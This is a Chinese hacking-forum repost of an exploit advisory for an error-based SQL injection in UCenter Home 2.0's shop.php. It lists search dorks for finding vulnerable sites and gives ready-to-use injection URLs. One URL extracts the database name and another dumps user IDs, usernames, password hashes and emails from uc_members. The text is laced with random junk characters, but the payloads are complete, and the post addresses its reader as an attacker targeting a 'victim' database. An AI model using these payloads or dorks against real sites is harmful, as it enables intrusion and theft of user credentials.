找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2394|回复: 0
打印 上一主题 下一主题

UCenter Home 2.0 -(0day) Remote SQL Injection Vulnerability

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-27 21:31:31 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
. @/ W2 Y- l: x/ h& d- r( ~
__--==UCenter Home 2.0 -(0day) Remote SQL Injection Vulnerability==--__  2 K- [. ?2 }( N; Y

2 b6 C; G6 j3 o0 \7 E, D                                 
0 n; }( I! q) h9 G/ {" }* `  y* e4 k
* w7 n( A( x2 }- S7 |$ m2 H*/ Author : KnocKout  
% ?+ Y4 x+ {* W( ~
' _! N- b. l0 Y: i! N4 s*/ Greatz : DaiMon,BARCOD3,RiskY and iranian hackers  
3 k; z0 X/ J$ G1 Z- Y; ^% ~9 F1 K  z
*/ Contact: knockoutr@msn.com  
( e0 r# g( i+ x' x
  U) X, y7 T, p. [7 |; Z*/ Cyber-Warrior.org/CWKnocKout  
( q2 i' l, ?. b5 r; Z. p8 B
5 x, f  v7 \3 n: f+ G" ^# S__--==__--==__--==__--==__--==__--==__--==__--==__--==__--==  : f) s' V: Y' A" W& j

) k$ |$ ]( q. l& V) |Script : UCenter Home  : R* P; b1 d- P+ {0 Q; z' q! A
. I6 d+ A! `2 |5 i9 R) }" ^
Version : 2.0  0 H/ ^2 m; ~% X9 P1 _5 [( m0 A
% R4 J- e3 {8 y) d2 @4 G
Script HomePage : http://u.discuz.net/  ) }& _1 O2 w' F8 o/ \. w0 G

  ^8 A) ~; R% R' D__--==__--==__--==__--==__--==__--==__--==__--==__--==__--==  
, D# H, r  [& ^! ~; t* w; h+ ~* s* ^' u& G% h* ]+ Y
Dork : Powered by UCenter inurl:shop.php?ac=view  
! N6 W& R; }+ d  {& ?  D# {+ W0 K' i' r5 E# N2 r( M
Dork 2 : inurl:shop.php?ac=view&shopid=  
( N  W0 v! a4 D- x% c  x# r1 Y+ b7 t/ X
__--==__--==__--==__--==__--==__--==__--==__--==__--==__--==  5 Z; T( U/ e$ d6 S- X: a
# X  K5 S! J9 c& M) f
Vuln file : Shop.php  
4 e1 k& ]# h& a; }, h: Y
9 N% C  {6 V, H2 r7 C% Xvalue's : (?)ac=view&shopid=  ; P8 ?% I7 J2 A" p+ T- ?+ F
0 a" s* Q2 p0 X  ?4 o
Vulnerable Style : SQL Injection (MySQL Error Based)  " K8 V( G7 `! r% q. x. `: o

4 h5 r: M& `( B6 d" j& V- N9 u# d5 y: mNeed Metarials : Hex Conversion  
$ ~# u, ^! C& l5 n/ `( V9 C5 `7 \$ C" ?: N" [" {
__--==__--==__--==__--==__--==__--==__--==__--==__--==__--==  0 J8 s( x! O0 o4 _

8 Y! h- }: b" P0 @. \1 c% NYour Need victim Database name.   
, z% \" U0 s# T( s  o4 h3 C8 R  i9 `9 p/ u8 C0 Q( k+ `6 }; {& h+ V
for Inject : http://server/shop.php?ac=view&shopid=253 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,unhex(hex(database())),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1  
3 y7 t0 a: ?: Y+ X7 a: Q! m
) B3 E' u" H+ v2 e9 H6 t..  
; |5 d  V. k; Q* A: L/ o
( Y# n9 I- c6 M# rDB : Okey.  + D+ l5 T5 o1 {
% Z  L- V! K4 w+ ^
your edit DB `[TARGET DB NAME]`  
6 i8 f" k& B! j+ v. w9 R; b
; J$ B9 q% W- V  E5 D  xExample : 'hiwir1_ucenter'  . h1 Q; ]& o/ _- b0 @( h

+ o: f7 P2 ]& x' l% nEdit : Okey.  ; h: U" q8 K/ E, l" c
4 @: G. p, H0 C+ i% y: D( B
Your use Hex conversion. And edit Your SQL Injection Exploit..  
. F# k6 k5 B- q# _
* L5 t3 D! @! z" T   ; k, O0 G' ~$ r" U0 ^) A

8 ~* c" Q: B' g4 ^# b/ n; jExploit Code : http://server/shop.php?ac=view&shopid=253 253 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,cast(concat(uc_members.uid,0x3a,uc_members.username,0x3a,uc_members.password,0x3a,uc_members.email) as char),0x27,0x7e) FROM `hiwir1_ucenter`.uc_members LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1  
, F/ n; k1 T% T. X& c- ]
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表